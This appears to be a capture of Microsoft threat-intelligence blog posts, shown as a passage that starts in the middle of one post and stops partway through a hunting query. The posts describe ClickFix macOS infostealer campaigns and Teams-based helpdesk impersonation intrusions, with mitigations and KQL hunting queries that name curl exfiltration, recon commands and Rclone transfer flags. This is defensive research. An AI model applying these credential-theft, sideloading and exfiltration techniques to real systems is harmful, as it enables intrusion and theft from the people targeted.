This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Threat actors are initiating cross-tenant Microsoft Teams communications while impersonating IT or helpdesk personnel to socially engineer users into granting remote desktop access. After access is established through Quick Assist or similar remote support tools, attackers often execute trusted vendor-signed applications alongside attacker-supplied modules to enable malicious code execution.

This access pathway might be used to perform credential-backed lateral movement using native administrative protocols such as Windows Remote Management (WinRM), allowing threat actors to pivot toward high-value assets including domain controllers. In observed intrusions, follow-on commercial remote management software and data transfer utilities such as Rclone were used to expand access across the enterprise environment and stage business-relevant information for transfer to external cloud storage. This intrusion chain relies heavily on legitimate applications and administrative protocols, allowing threat actors to blend into expected enterprise activity during multiple intrusion phases.

Threat actors are increasingly abusing external Microsoft Teams collaboration to impersonate IT or helpdesk personnel and convince users to grant remote assistance access. From this initial foothold, attackers can leverage trusted tools and native administrative protocols to move laterally across the enterprise and stage sensitive data for exfiltration—often blending into routine IT support activity throughout the intrusion lifecycle. Microsoft Defender provides correlated visibility across identity, endpoint, and collaboration telemetry to help detect and disrupt this user‑initiated access pathway before it escalates into broader compromise.

Risk to enterprise environments

By abusing enterprise collaboration workflows instead of traditional email based phishing channels, attackers may initiate contact through applications such as Microsoft Teams in a way that appears consistent with routine IT support interactions.

Microsoft Teams applies multiple security controls at the point of first external contact – before any chat, call, or file exchange occurs – including external tenant labeling, Accept/Block prompts, message previews, and phishing indicators designed to help users assess risk prior to engagement. However, this attack chain relies on convincing users to bypass those warnings and voluntarily grant remote access through legitimate support tools. In observed intrusions, risk is introduced not by external messaging alone, but when a user approves follow on actions — such as launching a remote assistance session — that result in interactive system access.

In observed intrusions, risk is introduced not by external messaging alone, but when a user approves follow‑on actions — such as launching a remote assistance session — that result in interactive system access.

An approved external Teams interaction might enable threat actors to:

• Establish credential-backed interactive system access 
• Deploy trusted applications to execute attacker-controlled code 
• Pivot toward identity and domain infrastructure using WinRM 
• Deploy commercially available remote management tooling 
• Stage sensitive business-relevant data for transfer to external cloud infrastructure 

In the campaign, lateral movement and follow-on tooling installation occurred shortly after initial access, increasing the risk of enterprise-wide persistence and targeted data exfiltration. As each environment is different and with potential handoff to different threat actors, stages might differ if not outright bypassed.

Attack chain overview

Stage 1: Initial contact via Teams (T1566.003 Spearphishing via Service)

The intrusion begins with abuse of external collaboration features in Microsoft Teams, where an attacker operating from a separate tenant initiates contact while impersonating internal support personnel as a means to social engineer the user. This activity does not stem from a weakness in Microsoft Teams or its built‑in security protections. Instead, attackers abuse legitimate collaboration features by persuading users to override multiple, clearly presented security warnings, highlighting the broader challenge of defending against attacks driven by social engineering rather than technical exploitation.

Because interaction occurs within an enterprise collaboration platform rather than through traditional email‑based phishing vectors, it might bypass initial user skepticism associated with unsolicited external communication. Security features protecting Teams users are detailed here, for reference. It’s important to note that this attack relies on users willfully ignoring or overlooking security notices and other protection features.  The lure varies and might include “Microsoft Security Update”, “Spam Filter Update”, “Account Verification” but the objective is constant: convince the user to ignore warnings and external contact flags, launch a remote management session, and accept elevation. Voice phishing (vishing) is sometimes layered to increase trust or compliance if voice interactions don’t replace the messaging altogether.

Timing matters. We regularly see a “ChatCreated” event to indicate a first contact situation, followed by suspicious chats or vishing, remote management, and other events that commonly produce alerts to include mailbombing or URL click alerts. All of these can be correlated by account and chat thread information in your Defender hunting environment.

Teams security warnings:

External Accept/Block screens provide notice to users about First Contact events, which prompt the user to inspect the sender’s identity before accepting:

Higher confidence warnings alert the user of spam or phishing attempts on first contact:

External warnings notify users that they are communicating with a tenant/organization other than their own and should be treated with scrutiny:

Message warnings alert the user on the risk in clicking the URL:

Safe Links for time-of-click protection warns users when URLs from Teams chat messages are malicious:

Zero-hour Auto Purge (ZAP) can remove messages that were flagged as malicious after they have been sent:

It’s important to note that the attacker often does not send the URL over a Teams message. Instead, they will navigate to it while on the endpoint during a remote management session. Therefore, the best security is user education on understanding the importance of not ignoring external flags for new helpdesk contacts. See “User education” in the “Defend, harden, and educate (Controls to deploy now)” section for further advice.

Stage 2: Remote assistance foothold

With user consent obtained through social engineering, the attacker gains interactive control of the device using remote support tools such as Quick Assist. This access typically results in the launch of QuickAssist.exe, followed by the display of standard Windows elevation prompts through Consent.exe as the attacker is guided through approval steps.

From the user’s perspective, the attacker  convinces them to open Quick Assist, enter a short key, the follow all prompts and approvals to grant access.

This step is often completed in under a minute. The urgency and interactivity are the signal: a remote‑assist process tree followed immediately by “cmd.exe” or PowerShell on the same desktop.

Stage 3: Interactive reconnaissance and access validation

Immediately after establishing control through Quick Assist, the attacker typically spends the first 30–120 seconds assessing their level of access and understanding the compromised environment. This is often reflected by a brief surge of cmd.exe activity, used to verify user context and privilege levels, gather basic system information such as host identity and operating system details, and confirm domain affiliation. In parallel, the attacker might query registry values to determine OS build and edition, while also performing quick network reconnaissance to evaluate connectivity, reachability, and potential opportunities for lateral movement.

On systems with limited privileges—such as kiosks, VDI, or non-corp-joined devices—actors might pause without deploying payloads, leaving only brief reconnaissance activity. They often return later when access improves or pivot to other targets within the same tenant.

Stage 4: Payload placement and trusted application invocation

Once remote access is established, the intrusion transitions from user‑assisted interaction to preparing the environment for persistent execution. At this point, attackers introduce a small staging bundle onto disk using either archive‑based deployment or short‑lived scripting activity. As activity moves beyond initial social engineering, Microsoft security protections shift from user‑facing warnings to behavior‑based detection, correlation, and automated response across identity, endpoint, and network layers.

After access is established, attackers stage payloads in locations such as ProgramData and execute them using DLL side‑loading through trusted signed applications. This includes:

• AcroServicesUpdater2_x64.exe loading a staged msi.dll
• ADNotificationManager.exe loading vcruntime140_1.dll
• DlpUserAgent.exe loading mpclient.dll
• werfault.exe loading Faultrep.dll

Allowing attacker‑supplied modules to run under a trusted execution context from non‑standard paths.

Stage 5: Execution context validation and registry backed loader state

Following payload delivery, the attacker performs runtime checks to validate host conditions before execution. A large encoded value is then written to a user‑context registry location, serving as a staging container for encrypted configuration data to be retrieved later at runtime.

In this stage, a sideloaded module acting as an intermediary loader decrypts staged registry data in memory to reconstruct execution and C2 configuration without writing files to disk. This behavior aligns with intrusion frameworks such as Havoc, which externalize encrypted configuration to registry storage, allowing trusted sideloaded components to dynamically recover execution context and maintain operational continuity across restarts or remediation events.

Microsoft Defender for Endpoint may detect this activity as:

• Unexpected DLL load by trusted application
• Service‑path execution outside vendor installation directory
• Execution from user‑writable directories such as ProgramData

Attack surface reduction rules and Windows Defender Application Control policies can be used to restrict execution pathways commonly leveraged for sideloaded module activation.

Stage 6: Command and control

Following successful execution of the sideloaded component, the updater‑themed process AcroServicesUpdater2_x64.exe began initiating outbound HTTPS connections over TCP port 443 to externally hosted infrastructure.

Unlike expected application update workflows which are typically restricted to known vendor services these connections were directed toward dynamically hosted cloud‑backed endpoints and unknown external domains. This behavior indicates remote attacker‑controlled infrastructure rather than legitimate update mechanisms.

Establishing outbound encrypted communications in this manner enables compromised processes to operate as beaconing implants, allowing adversaries to remotely retrieve instructions and maintain control within the affected environment while blending command traffic into routine HTTPS activity. The use of cloud‑hosted hosting layers further reduces infrastructure visibility and improves the attacker’s ability to modify or rotate communication endpoints without altering the deployed payload.

This activity marks the transition from local execution to externally directed command‑and‑control — enabling subsequent stages of discovery and movement inside the enterprise network.

Stage 7: Internal discovery and lateral movement toward high value assets

Shortly after external communications were established, the compromised process began initiating internal remote management connections over WinRM (TCP 5985) toward additional domain‑joined systems within the enterprise environment.

Microsoft Defender may surface these activities as multi‑device incidents reflecting credential‑backed lateral movement initiated from a user‑context remote session.

Analysis of WinRM activity indicates that the threat actor used native Windows remote execution to pivot from the initially compromised endpoint toward high‑value infrastructure assets, including identity and domain management systems such as domain controllers. Use of WinRM from a non‑administrative application suggests credential‑backed lateral movement directed by an external operator, enabling remote command execution, interaction with domain infrastructure, and deployment of additional tooling onto targeted hosts.

Targeting identity‑centric infrastructure at this stage reflects a shift from initial foothold to broader enterprise control and persistence. Notably, this internal pivot preceded the remote deployment of additional access tooling in later stages, indicating that attacker‑controlled WinRM sessions were subsequently leveraged to extend sustained access across

Stage 8: Remote deployment of auxiliary access tooling (Level RMM)

Subsequent activity revealed the remote installation of an additional management platform across compromised hosts using Windows Installer (msiexec.exe). This introduced an alternate control channel independent of the original intrusion components, reducing reliance on the initial implant and enabling sustained access through standard administrative mechanisms. As a result, attackers could maintain persistent remote control even if earlier payloads were disrupted or removed.

Stage 9: Data exfiltration

Actors used the file‑synchronization tool Rclone to transfer data from internal network locations to an external cloud storage service. File‑type exclusions in the transfer parameters suggest a targeted effort to exfiltrate business‑relevant documents while minimizing transfer size and detection risk.

Microsoft Defender might detect this activity as possible data exfiltration involving uncommon synchronization tooling.

Mitigation and protection guidance

Microsoft protection outcomes

Microsoft Defender XDR detections

Microsoft Defender provides pre-breach and post-breach coverage for this campaign, supported by the  generic and specific alerts listed below.

Hunting queries

Security teams can use the advanced hunting capabilities in Microsoft Defender XDR to proactively look for indicators of exploitation.

A. Teams → RMM correlation

let _timeFrame = 30m;
// Teams message signal 
let _teams =
    MessageEvents
    | where Timestamp > ago(14d)
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    | extend Recipient = parse_json(RecipientDetails)
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimRecipientDisplayName = tostring(Recipient.RecipientDisplayName)
    | project
        TTime = Timestamp,
        SenderEmailAddress,
        SenderDisplayName,
        VictimRecipientDisplayName,
        VictimAccountObjectId;
// RMM launches on endpoint side
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | extend VictimAccountObjectId = tostring(InitiatingProcessAccountObjectId)
    | project
        DeviceName,
        QTime = Timestamp,
        RmmTool = FileName,
        VictimAccountObjectId;
_teams
| where isnotempty(VictimAccountObjectId)
| join kind=inner _rmm on VictimAccountObjectId
| where isnotempty(DeviceName)
| where QTime between ((TTime) .. (TTime +(_timeFrame)))
| project DeviceName, SenderEmailAddress, SenderDisplayName, VictimRecipientDisplayName, VictimAccountObjectId, TTime, QTime, RmmTool
| order by QTime desc

B. Execution

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "cmd.exe"
| where FileName =~ "cmd.exe"
| where ProcessCommandLine has_all ("/S /D /c", "\" set /p=\"PK\"", "1>")

C. ZIP → ProgramData service path → signed host sideload

let _timeFrame = 10m;
let _armOrDevice =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where FolderPath has_any (
        "C:\\ProgramData\\Adobe\\ARM\\", 
        "C:\\ProgramData\\Microsoft\\DeviceSync\\",
        "D:\\ProgramData\\Adobe\\ARM\\", 
        "D:\\ProgramData\\Microsoft\\DeviceSync\\")
      and ActionType in ("FileCreated","FileRenamed")
    | project DeviceName, First=Timestamp, FileName;
let _hostRun =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("AcroServicesUpdater2_x64.exe","DlpUserAgent.exe","ADNotificationManager.exe")
    | project DeviceName, Run=Timestamp, Host=FileName;
_armOrDevice
| join kind=inner _hostRun on DeviceName
| where Run between (First .. (First+(_timeFrame)))
| summarize First=min(First), Run=min(Run), Files=make_set(FileName, 10) by DeviceName, Host
| order by Run desc

D. PowerShell → high‑risk TLD → writes %AppData%/Roaming EXE

let _timeFrame = 5m;
let _psNet = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe")
| where RemoteUrl matches regex @"(?i)\.(top|xyz|zip|click)$"
| project DeviceName, NetTime=Timestamp, RemoteUrl, RemoteIP;
let _exeWrite = DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath has @"\AppData\Roaming\" and FileName endswith ".exe"
| project DeviceName, WTime=Timestamp, FileName, FolderPath, SHA256;
_psNet
| join kind=inner _exeWrite on DeviceName
| where WTime between (NetTime .. (NetTime+(_timeFrame)))
| project DeviceName, NetTime, RemoteUrl, RemoteIP, WTime, FileName, FolderPath, SHA256
| order by WTime desc

E. Registry breadcrumbs / ASEP anomalies

DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"\SOFTWARE\Classes\Local Settings\Software\Microsoft"
| where RegistryValueName in~ ("UCID","UFID","XJ01","XJ02","UXMP")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, PreviousRegistryValueData, InitiatingProcessFileName
| order by Timestamp desc

F. Non‑browser process → API‑Gateway → internal AD protocols

let _timeFrame = 10m;
let _net1 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemoteUrl has ".execute-api."
    | where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              OutTime=Timestamp,
              RemoteUrl,
              RemoteIP;
let _net2 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemotePort in (135,389,445,636)
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              InTime=Timestamp,
              RemoteIP,
              RemotePort;
_net1
| join kind=inner _net2 on DeviceName, Proc
| where InTime between (OutTime .. (OutTime+(_timeFrame)))
| project DeviceName, Proc, OutTime, RemoteUrl, InTime, RemotePort
| order by InTime desc

G. PowerShell history deletion

DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "ConsoleHost_history.txt" and ActionType == "FileDeleted"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| order by Timestamp desc

H. Reconnaissance burst (cmd / PowerShell)

DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any (
    "whoami", "whoami /all", "whoami /groups", "whoami /priv",
    "hostname", "systeminfo", "ver", "wmic os get",
    "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
    "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
    "dir", "icacls"
)
| project Timestamp, DeviceName, FileName, InitiatingProcessFileName, ProcessCommandLine
| summarize eventCount = count(), FileNames = make_set(FileName), InitiatingProcessFileNames = make_set(InitiatingProcessFileName), ProcessCommandLines = make_set(ProcessCommandLine, 5) by DeviceName
| where eventCount > 2

I. Data Exfil

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName =~ "rclone.exe" or ProcessVersionInfoOriginalFileName =~ "rclone.exe"
| where ProcessCommandLine has_all ("copy ", "--config rclone_uploader.conf", "--transfers 16", "--checkers 16", "--buffer-size 64M", "--max-age=3y", "--exclude *.mdf")

J. Quick Assist–anchored recon (no staging writes within 10 minutes)

let _reconWindow = 10m; // common within 1-5 minutes
let _stageWindow = 15m; // common 1-2 minutes after recon, or less
// Anchor on RMM 
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | project DeviceName, RMMTime=Timestamp;
// Recon commands within X minutes of RMM start (targeted list)
let _recon =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
    | where ProcessCommandLine has_any (
        "whoami", "hostname", "systeminfo", "ver", "wmic os get",
        "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
        "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
        "dir", "icacls"
    )
    | project DeviceName, ReconTime=Timestamp, ReconCmd=ProcessCommandLine, ReconProc=FileName;
// Suspect staging writes (ZIP/EXE/DLL)
let _staging =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where ActionType in ("FileCreated","FileRenamed")
    | where FileName matches regex @"(?i).*\\.(zip|exe|dll)$"
    | project DeviceName, STime=Timestamp, StageFile=FileName, StagePath=FolderPath;
// Correlate RMM + recon, then exclude cases with staging writes in the next X minutes
let _rmmRecon =
    _rmm
    | join kind=inner _recon on DeviceName
    | where ReconTime between (RMMTime .. (RMMTime+(_reconWindow)))
    | project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd;
_rmmRecon
| join kind=leftouter _staging on DeviceName
| extend HasStagingInWindow = iff(STime between (RMMTime .. (RMMTime+(_stageWindow))), 1, 0)
| summarize HasStagingInWindow=max(HasStagingInWindow) by DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd
| where HasStagingInWindow == 0
| project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd

K. Sample Correlation Query Between Chat, First Contact, and Alerts

Note. Please modify or tune for your specific environment.

let _timeFrame = 30m;      // Tune: how long after the Teams event to look for matching alerts
let _huntingWindow = 4d;   // Tune: broader lookback increases coverage but also cost
// Seed Teams message activity and normalize the victim/join fields you want to carry forward
let _teams = materialize (
    MessageEvents
    | where Timestamp > ago(_huntingWindow)
    | extend Recipient = parse_json(RecipientDetails)
    // Optional tuning: add sender/name/content filters here first to reduce volume early
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    // add other hunting terms 
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimUPN = tostring(Recipient.RecipientSmtpAddress)
    | project
        TTime = Timestamp,
        SenderUPN = SenderEmailAddress,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId = ThreadId
);
// Distinct key sets used to prefilter downstream tables before joining
let _VictimAccountObjectId = materialize(
    _teams
    | where isnotempty(VictimAccountObjectId)
    | distinct VictimAccountObjectId
);
let _VictimUPN = materialize(
    _teams
    | where isnotempty(VictimUPN)
    | distinct VictimUPN
);
let _ChatThreadId = materialize(
    _teams
    | where isnotempty(ChatThreadId)
    | distinct ChatThreadId
);
// Find first-seen chat creation events for the chat threads already present in _teams
// Tune: add more CloudAppEvents filters here if you want to narrow to external / one-on-one / specific chat types
let _firstContact = materialize(
    CloudAppEvents
    | where Timestamp > ago(_huntingWindow)
    | where Application has "Teams"
    | where ActionType == "ChatCreated"
    | extend Raw = todynamic(RawEventData)
    | extend ChatThreadId = tostring(Raw.ChatThreadId)
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | summarize FCTime = min(Timestamp) by ChatThreadId
);
// Alert branch 1: match by victim object ID
// Usually the cleanest identity join if the field is populated consistently
let _alerts_by_oid = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountObjectId in (_VictimAccountObjectId)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 2: match by victim UPN
// Useful when ObjectId is missing or alert evidence is only populated with UPN
let _alerts_by_upn = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountUpn in (_VictimUPN)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn,
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 3: match by chat thread ID
// Tune: this is typically the most expensive branch because it inspects AdditionalFields
let _alerts_by_thread = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AdditionalFields has_any (_ChatThreadId)
    | extend AdditionalFields = todynamic(AdditionalFields)
    | extend
        SourceId = tostring(AdditionalFields.SourceId),
        ChatThreadIdRaw = tostring(AdditionalFields.ChatThreadId)
    | extend ChatThreadId = coalesce(
        ChatThreadIdRaw,
        extract(@"/(?:chats|channels|conversations|spaces)/([^/]+)/", 1, SourceId)
    )
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId,
        ChatThreadId
);
//
// add branch 4 to corrilate with host events
//
// Add first-contact context back onto the Teams seed set
let _teams_fc = materialize(
    _teams
    | join kind=leftouter _firstContact on ChatThreadId
    | extend FirstContact = isnotnull(FCTime)
);
// Join path 1: Teams victim object ID -> alert AccountObjectId
let _matches_oid =
    _teams_fc
    | where isnotempty(VictimAccountObjectId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_oid
    ) on $left.VictimAccountObjectId == $right.AccountObjectId
